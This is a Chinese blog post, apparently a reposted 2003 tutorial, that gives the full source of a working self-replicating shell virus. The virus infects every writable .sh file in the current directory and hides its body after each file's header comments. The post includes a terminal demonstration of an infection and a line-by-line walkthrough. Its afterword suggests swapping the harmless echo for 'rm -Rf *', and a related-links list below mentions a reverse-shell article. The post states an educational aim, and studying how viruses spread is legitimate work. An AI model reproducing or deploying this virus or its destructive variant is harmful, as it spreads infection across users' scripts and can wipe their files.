SHELL病毒

原创 2004年10月04日 17:04:00
SHELL病毒简介

1. 前言


  说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦
从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感
染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下
这么一个小脚本,功能就是感染其他shell程序。

  这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以
算教学意义大于实际意义吧。


2. 程序代码


#!/bin/sh
#文件名: virus_demo.sh
#用途  : shell病毒演示。
#说明  : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写  : watercloud@xfocus.org
#日期  : 2003-5-13

#B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
  if [ ! -w $f -a ! -r $vFile ];  then continue; fi
  if grep '<+!a%C&t:>' $f ;       then continue; fi
  if sed -n '1p' $f | grep 'csh'; then continue; fi
  cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
  vNo=`awk '$0~/(^/b*#)|(^/b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
  sed -n "1,${vNo}p" $vTmp >$f
  (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
  vNo=`expr $vNo + 1`
  sed -n "${vNo},/$p" $vTmp >>$f
  rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"
#E:<+!a%C&t:>
#EOF

看shell是多么得强大,这么短短得程序就能感染其他程序文件。


3.  演示


测试一下:

先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。
[cloud@ /export/home/cloud/vir]> ls -l
drwxr-xr-x   2 cloud    staff        512  6??  4 17:43 ./
drwxr-xr-x  10 cloud    staff       1024  6??  4 17:41 ../
-rwxr--r--   1 cloud    staff         89  6??  4 17:43 test.sh
-rwxr--r--   1 cloud    staff        773  6??  4 17:42 virus_demo.sh

来看看我们这个"肉鸡"脚本,很简单:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date   : 3000-1-1

ls -l

#EOF

好了开始感染他。
[cloud@ /export/home/cloud/vir]> ./virus_demo.sh
Hi, here is a demo shell virus in your script !

来看看感染后的结果:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date   : 3000-1-1

#B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
  if [ ! -w $f -a ! -r $vFile ];  then continue; fi
  if grep '<+!a%C&t:>' $f ;       then continue; fi
  if sed -n '1p' $f | grep 'csh'; then continue; fi
  cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
  vNo=`awk '$0~/(^/b*#)|(^/b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
  sed -n "1,${vNo}p" $vTmp >$f
  (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
  vNo=`expr $vNo + 1`
  sed -n "${vNo},/$p" $vTmp >>$f
  rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"
#E:<+!a%C&t:>

ls -l

#EOF

看,病毒体:
#B:<+!a%C&t:>
. . . .
#E:<+!a%C&t:>
被拷贝过来了,这样病毒就被传播了。
值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!
这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,
你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。


来执行看看我们新的病毒体看看:

[cloud@ /export/home/cloud/vir]> ./test.sh
Hi, here is a demo shell virus in your script ! <-- 看,病毒体内部的打印信息。
        
-rwxr-xr-x   1 cloud    staff        724  6??  4 17:44 test.sh
-rwxr-xr-x   1 cloud    staff        773  6??  4 17:42 virus_demo.sh



4. 简单讲解


我们来一步步分析一下这个病毒:


#B:<+!a%C&t:>
病毒体开始标记,用于程序复制自己定位用

vFile=$_ ; vTmp=/tmp/.vTmp.$$
定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们
必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序
名称,后面就找不到从哪里去找病毒体来拷贝了。

for f in ./*.sh; do
开始循环,找到当前目录下的所有.sh结尾的程序。

  if [ ! -w $f -a ! -r $vFile ];  then continue; fi
  目标是否有写权限,病毒源文件是否有读权限。

  if grep '<+!a%C&t:>' $f ;       then continue; fi
  目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

  if sed -n '1p' $f | grep 'csh'; then continue; fi
  如果目标shell是以csh的那语法上差异太大了,放弃吧。

  cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
  好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

  vNo=`awk '$0~/(^/b*#)|(^/b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
  这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不
  过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体
  插入点。

  sed -n "1,${vNo}p" $vTmp >$f
  一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

  (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
  再来一个sed完成搬运病毒体的工作。

  vNo=`expr $vNo + 1`
  sed -n "${vNo},/$p" $vTmp >>$f
  最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!

  rm -f $vTmp
  清理一下临时文件

done >/dev/null 2>&1
循环结束

unset vTmp ;unset vFile ;unset vNo
清理一下犯罪现场。


echo "Hi, here is a demo shell virus in your script !"
都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。

#E:<+!a%C&t:>
病毒体结束标记,用于程序复制自己定位用




5. 后记

  从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒
破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面
也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得
花多少功夫。

  上面得程序已经在Linux和Solaris上测试通过,windows上得用户在Cygwin上
应该也行。

  顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是
教写病毒出去害人,切记切记!


#EOF
#GAME OVER
echo "望斧正!"

                               watercloud@xfocus.org

                                    2003-6-4

SHELL病毒简介

SHELL病毒简介Author: watercloudEmail: watercloud@xfocus.orgHomepage:http://watercloud_at_xfocus.org SHEL...
  • acool555
  • acool555
  • 2004年09月12日 23:02
  • 900

不是闹鬼,是病毒!全球首个Golem(傀儡)病毒感染数万手机

手机放在桌子上充电,突然亮屏,在没人触摸的情况下,一个手机游戏自己运行,滑动,执行许多命令。执行完之后,手机静悄悄关闭屏幕显示,跟什么都没发生一样。手机主人会发现,自己的手机电池经常没电,流量消耗也比...
  • y97523szb
  • y97523szb
  • 2016年06月11日 15:03
  • 1145

安全威胁无孔不入:基于Linux系统的病毒(转)

尽管在Linux里传播的病毒不多,但也是存在一些,我从一些安全站点搜集了一些资料。     1、病毒名称:     Linux.Slapper.Worm     类别: 蠕虫     ...
  • richerg85
  • richerg85
  • 2014年05月05日 22:15
  • 2457

Linux系统下用shell脚本病毒感染其它linux脚本程序

1.前言这篇文章算是通过学习网上其它几篇关于shell脚本病毒文章后自己写的学习心得,通过写这篇文章让自己能够加深理解一下相关知识。但是其实下面用到的shell脚本病毒的现实意义不大,但是对于理解病毒...
  • wangqingchuan92
  • wangqingchuan92
  • 2017年09月12日 11:39
  • 288

Linux操作系统下Shell病毒详细介绍

 作者:yuanye 来源:赛迪网技术社区 SHELL病毒简介 1. 前言 说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦 从开始有设想到完成花了3个多月,而且写的也是...
  • yjz0065
  • yjz0065
  • 2006年11月23日 13:39
  • 908

[转贴]winlogon.exe病毒清除过程

原文:   http://blog.licns.com/blog/article.asp?id=176
  • xingming9
  • xingming9
  • 2007年05月09日 11:08
  • 952

病毒木马查杀实战第014篇:U盘病毒之手动查杀

在U盘中发现病毒       前段时间需要往虚拟机中拷贝点资料,如同往常一样,插上我的U盘,并且在虚拟机的设置中选择连接U盘。奇怪的是这次的连接时间较以往长,并且还出现了“自动播放”窗口:图1 自动播...
  • ioio_jy
  • ioio_jy
  • 2016年04月20日 10:07
  • 9463

golang写的反弹shell(自作孽不可活,切记,切记!)

仅作安全研究 package main import ( "go-pop3" "log" "strings" "os/exec" "net" "fmt"...
  • Jailman
  • Jailman
  • 2017年10月23日 18:53
  • 10048

自己动手写病毒

引:前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了。但是我现在学了入门才发现这门技术实际上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无法...
  • baskbeast
  • baskbeast
  • 2016年04月22日 08:18
  • 2085

shell脚本小程序之特洛伊木马示例

在复习Linux的时候,发现课本上有一些好玩有有意义的小程序,在这里分享给大家学习学习。下面是一个特洛伊木马shell脚本的示例,入侵者利用此类程序伪装成“正常的”文本登录界面,接收用户输入的名字和密...
  • Echo_Ana
  • Echo_Ana
  • 2016年12月26日 20:53
  • 1130
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:SHELL病毒
举报原因:
原因补充:

(最多只允许输入30个字)